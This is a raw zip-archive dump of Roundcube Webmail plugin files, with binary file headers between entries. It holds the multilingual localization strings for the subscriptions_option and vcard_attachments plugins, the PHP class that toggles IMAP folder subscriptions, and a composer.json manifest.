 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Uporabi IMAP-naročnino';
PKh�\
?�Sxx0plugins/subscriptions_option/localization/ar.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'أستخدم الإشتراكات عبر IMAP';
PKh�\�պ2ii3plugins/subscriptions_option/localization/de_DE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Nur abonnierte Ordner anzeigen';
PKh�\�ƪ�gg3plugins/subscriptions_option/localization/sv_SE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Använd IMAP-prenumerationer';
PKh�\q�D{{0plugins/subscriptions_option/localization/ug.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'IMAP مۇشتەرىلىكىنى ئىشلىتىش';
PKh�\�cj�]]3plugins/subscriptions_option/localization/ko_KR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'IMAP 구독 사용';
PKh�\���ubb3plugins/subscriptions_option/localization/gl_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Usar subscricións IMAP';
PKh�\c�~�bb3plugins/subscriptions_option/localization/it_IT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Usa sottoscrizioni IMAP';
PKh�\_q
�bb3plugins/subscriptions_option/localization/es_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Usar suscripciones IMAP';
PKh�\$>��3plugins/subscriptions_option/localization/ml_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'IMAP വരിസംഖ്യകൾ ഉപയോഗിക്കുക';
PKh�\ꁟ�dd3plugins/subscriptions_option/localization/nl_NL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Gebruik IMAP-abonneringen';
PKh�\:_�Ghh3plugins/subscriptions_option/localization/cy_GB.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Defnyddio tanysgrifiadau IMAP';
PKh�\򬁝aa3plugins/subscriptions_option/localization/en_GB.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Use IMAP Subscriptions';
PKh�\Ր�d``3plugins/subscriptions_option/localization/fo_FO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Brúka IMAP tekningar';
PKh�\�(��dd3plugins/subscriptions_option/localization/lt_LT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Naudoti IMAP prenumeratas';
PKh�\
NC�aa3plugins/subscriptions_option/localization/pt_PT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Use subscrições IMAP';
PKh�\���F3plugins/subscriptions_option/localization/el_GR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Subscriptions plugin       |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-subscriptions_option/
*/

$labels['useimapsubscriptions']  = 'Χρησιμοποιήστε IMAP Συνδρομές';
PKh�\se��5plugins/subscriptions_option/subscriptions_option.phpnu�[���<?php

/**
 * Subscription Options
 *
 * A plugin which can enable or disable the use of imap subscriptions.
 * It includes a toggle on the settings page under "Server Settings".
 * The preference can also be locked
 *
 * Add it to the plugins list in config.inc.php to enable the user option
 * The user option can be hidden and set globally by adding 'use_subscriptions'
 * to the 'dont_override' configure line:
 * $config['dont_override'] = ['use_subscriptions'];
 * and then set the global preference
 * $config['use_subscriptions'] = true; // or false
 *
 * Roundcube caches folder lists.  When a user changes this option or visits
 * their folder list, this cache is refreshed.  If the option is on the
 * 'dont_override' list and the global option has changed, don't expect
 * to see the change until the folder list cache is refreshed.
 *
 * @author Ziba Scott
 * @license GNU GPLv3+
 */
class subscriptions_option extends rcube_plugin
{
    public $task = 'mail|settings';

    /**
     * Plugin initialization
     */
    function init()
    {
        $dont_override = rcmail::get_instance()->config->get('dont_override', []);

        if (!in_array('use_subscriptions', $dont_override)) {
            $this->add_hook('preferences_list', [$this, 'prefs_list']);
            $this->add_hook('preferences_save', [$this, 'prefs_save']);
        }

        $this->add_hook('storage_folders', [$this, 'mailboxes_list']);
        $this->add_hook('folders_list', [$this, 'folders_list']);
    }

    /**
     * Hook to inject plugin-specific user settings
     *
     * @param array $args Hook arguments
     *
     * @return array Modified hook arguments
     */
    function prefs_list($args)
    {
        if ($args['section'] == 'server') {
            $this->add_texts('localization/', false);
            $use_subscriptions = rcmail::get_instance()->config->get('use_subscriptions', true);
            $field_id = 'rcmfd_use_subscriptions';
            $checkbox = new html_checkbox(['name' => '_use_subscriptions', 'id' => $field_id, 'value' => 1]);

            $args['blocks']['main']['options']['use_subscriptions'] = [
                'title'   => html::label($field_id, rcube::Q($this->gettext('useimapsubscriptions'))),
                'content' => $checkbox->show($use_subscriptions ? 1 : 0),
            ];
        }

        return $args;
    }

    /**
     * Hook to save plugin-specific user settings
     *
     * @param array $args Hook arguments
     *
     * @return array Modified hook arguments
     */
    function prefs_save($args)
    {
        if ($args['section'] == 'server') {
            $rcmail = rcmail::get_instance();
            $use_subscriptions = $rcmail->config->get('use_subscriptions', true);

            $args['prefs']['use_subscriptions'] = isset($_POST['_use_subscriptions']);

            // if the use_subscriptions preference changes, flush the folder cache
            if (
                ($use_subscriptions && !isset($_POST['_use_subscriptions']))
                || (!$use_subscriptions && isset($_POST['_use_subscriptions']))
            ) {
                $storage = $rcmail->get_storage();
                $storage->clear_cache('mailboxes');
            }
        }

        return $args;
    }

    function mailboxes_list($args)
    {
        $rcmail = rcmail::get_instance();

        if (!$rcmail->config->get('use_subscriptions', true)) {
            $storage = $rcmail->get_storage();

            if ($folders = $storage->list_folders_direct($args['root'], $args['name'])) {
                $folders = array_filter($folders, function($folder) use ($storage) {
                    $attrs = $storage->folder_attributes($folder);
                    return !in_array_nocase('\\Noselect', $attrs);
                });

                $args['folders'] = $folders;
            }
        }

        return $args;
    }

    function folders_list($args)
    {
        $rcmail = rcmail::get_instance();

        if (!$rcmail->config->get('use_subscriptions', true)) {
            foreach ($args['list'] as $idx => $data) {
                $args['list'][$idx]['content'] = preg_replace('/<input [^>]+>/', '', $data['content']);
            }
        }

        return $args;
    }
}
PKh�\�r`a##'plugins/vcard_attachments/composer.jsonnu�[���{
    "name": "roundcube/vcard_attachments",
    "type": "roundcube-plugin",
    "description": "Detects vCard attachments and allows to add them to address book. Also allows to attach vCards of your contacts to composed messages",
    "license": "GPL-3.0-or-later",
    "version": "4.2",
    "authors": [
        {
            "name": "Thomas Bruederli",
            "email": "roundcube@gmail.com",
            "role": "Lead"
        },
        {
            "name": "Aleksander Machniak",
            "email": "alec@alec.pl",
            "role": "Lead"
        }
    ],
    "repositories": [
        {
            "type": "composer",
            "url": "https://plugins.roundcube.net"
        }
    ],
    "require": {
        "php": ">=7.3.0",
        "roundcube/plugin-installer": ">=0.1.3"
    }
}
PKh�\�A�,,0plugins/vcard_attachments/localization/zh_CN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = '添加 vCard 至地址簿中';
$labels['vcardsavefailed'] = '无法保存 vCard';
$labels['attachvcard'] = '附加 vCard';
$labels['vcardattached'] = '已附加 vCard 文件';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = '转发 ';
PKh�\�!=���0plugins/vcard_attachments/localization/be_BE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Дадаць vCard у адрасную кнігу';
$labels['vcardsavefailed'] = 'Немагчыма захаваць vCard';
PKh�\��09��0plugins/vcard_attachments/localization/bg_BG.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Добавяне на vCard към адресната книга';
$labels['vcardsavefailed'] = 'Невъзможен запис на vCard';
$labels['attachvcard'] = 'Прикачване на визитка (vCard)';
$labels['vcardattached'] = 'Прикачен vCard файл.';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'Препращане на vCard';
$labels['contactsattached'] = 'Към това писмо са прикачени $num контакта.';
$labels['importedsuccessfully'] = 'Успешно импортиране на контактите в адресната книга.';
PKh�\N>S���0plugins/vcard_attachments/localization/en_US.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Add vCard to addressbook';
$labels['vcardsavefailed'] = 'Unable to save vCard';
$labels['attachvcard'] = 'Attach vCard';
$labels['vcardattached'] = 'vCard file attached.';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'Forward vCard';
$labels['contactsattached'] = 'There are $num contacts attached to this message.';
$labels['importedsuccessfully'] = 'Contact(s) imported successfully to the address book.';
PKh�\��YUEE0plugins/vcard_attachments/localization/fi_FI.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Lisää vCard osoitekirjaan';
$labels['vcardsavefailed'] = 'vCardin tallennus epäonnistui';
$labels['attachvcard'] = 'Liitä vCard';
$labels['vcardattached'] = 'vCard-tiedosto lisätty.';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'Edelleenohjaa vCard';
PKh�\���CC0plugins/vcard_attachments/localization/nb_NO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Legg til vCard i adresseboken';
$labels['vcardsavefailed'] = 'Ikke i stand til å lagre vCard';
$labels['attachvcard'] = 'Legg til vCard';
$labels['vcardattached'] = 'vCard fil er vedlagt';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'Videresend vCard';
PKh�\��;0plugins/vcard_attachments/localization/sq_AL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Shtoje vCard-in te libër adresash';
$labels['vcardsavefailed'] = 'S’arrihet të ruhet vCard-i';
$labels['attachvcard'] = 'Bashkëngjitni vCard';
$labels['vcardattached'] = 'Kartela vCard u bashkëngjit.';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'Përcille vCard-in';
$labels['contactsattached'] = 'Ka $num kontakte bashkëngjitur këtij mesazhi.';
$labels['importedsuccessfully'] = 'Kontakti(ets) u importua me sukses te libri i adresave.';
PKh�\J�0plugins/vcard_attachments/localization/et_EE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Lisa vCard aadressiraamatusse';
$labels['vcardsavefailed'] = 'vCard salvestamine nurjus';
$labels['vcardattached'] = 'vCard fail on lisatud.';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'Edasta vCard';
PKh�\�����0plugins/vcard_attachments/localization/eu_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Gehitu vCard helbide-liburura';
$labels['vcardsavefailed'] = 'Ezin da vCard gorde';
$labels['attachvcard'] = 'Erantsi vCard';
$labels['vcardattached'] = 'vCard fitxategia erantsia';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'Birbidali vCard';
$labels['contactsattached'] = 'Badira $num kontaktu mezu honi erantsita';
$labels['importedsuccessfully'] = 'Kontaktua(k) behar bezala inportatu d(ir)a helbide-liburura';
PKh�\�z��0plugins/vcard_attachments/localization/tr_TR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Adres defterine vCard ekle';
$labels['vcardsavefailed'] = 'vCard kaydedilemedi';
$labels['attachvcard'] = 'vCard ekle';
$labels['vcardattached'] = 'vCard dosyası eklendi.';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'vCard dosyasını ilet';
$labels['contactsattached'] = 'Bu iletiye eklenmiş $num kişi var.';
$labels['importedsuccessfully'] = 'Kişi(ler) adres defteri içine aktarıldı.';
PKh�\t@��0plugins/vcard_attachments/localization/es_AR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Agregar vCard a la libreta de direcciones';
$labels['vcardsavefailed'] = 'Imposible guardar vCard';
$labels['attachvcard'] = 'Adjuntar vCard';
$labels['vcardattached'] = 'Adjunto archivo vCard.';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'Reenviar vCard';
$labels['contactsattached'] = 'Existen $num contactos adjuntos a este mensaje.';
$labels['importedsuccessfully'] = 'Contacto(s) agregado(s) correctamente a la libreta de direcciones.';
PKh�\S8N���-plugins/vcard_attachments/localization/ku.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'vCardê tevî deftera navnîşanan bike';
$labels['vcardsavefailed'] = 'Tomarkirina vCard betal bike';
PKh�\�$��0plugins/vcard_attachments/localization/pt_BR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Adicionar o vCard ao Catálogo de Endereços';
$labels['vcardsavefailed'] = 'Impossível salvar o vCard';
$labels['attachvcard'] = 'Anexar vCard';
$labels['vcardattached'] = 'vCard anexado.';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'Encaminhar vCard';
$labels['contactsattached'] = 'Existem $num contatos anexados a esta mensagem. ';
$labels['importedsuccessfully'] = 'Contato(s) importado(s) com sucesso para o livro de endereços.';
PKh�\�ͫb��0plugins/vcard_attachments/localization/lv_LV.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Pievienot vizītkarti adrešu grāmatai';
$labels['vcardsavefailed'] = 'Nevarēja saglabāt vizītkarti';
$labels['attachvcard'] = 'Pievienot vCard';
$labels['vcardattached'] = 'vCard fails pievienots.';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'Pārsūtīt vCard';
$labels['contactsattached'] = 'Šim ziņojumam ir pievienoti $num kontakti.';
$labels['importedsuccessfully'] = 'Kontakti veiksmīgi ieimportēti adrešu grāmatā.';
PKh�\�J��0plugins/vcard_attachments/localization/sk_SK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Pridať vizitku vCard do adresára';
$labels['vcardsavefailed'] = 'Vizitku vCard nemožno uložiť';
$labels['attachvcard'] = 'Pripojiť vizitku vCard';
$labels['vcardattached'] = 'Súbor vCard bol pripojený.';
$labels['vcard'] = 'Vizitka vCard';
$labels['forwardvcard'] = 'Preposlať vCard';
$labels['contactsattached'] = 'K tejto správe sú pripojené kontakty v počte: $num.';
$labels['importedsuccessfully'] = 'Kontakty boli úspešne importované do adresára.';
PKh�\�?5��0plugins/vcard_attachments/localization/cs_CZ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Přidat vCard do adresáře';
$labels['vcardsavefailed'] = 'Nelze uložit vCard';
$labels['attachvcard'] = 'Připojit vCard';
$labels['vcardattached'] = 'vCard soubor připojen.';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'Přeposlat vCard';
$labels['contactsattached'] = 'K této zprávě je připojeno $num kontaktů.';
$labels['importedsuccessfully'] = 'Kontakty byly naimportovány do adresáře.';
PKh�\��N���0plugins/vcard_attachments/localization/uk_UA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Додати vCard до контактів';
$labels['vcardsavefailed'] = 'Не вдалось зберегти vCard';
PKh�\E�f��0plugins/vcard_attachments/localization/fy_NL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'vCard oan adresboek tafoegje';
$labels['vcardsavefailed'] = 'Koe vCard net bewarje';
$labels['attachvcard'] = 'vCard taheakje';
$labels['vcard'] = 'vCard';
PKh�\8(��

0plugins/vcard_attachments/localization/de_CH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

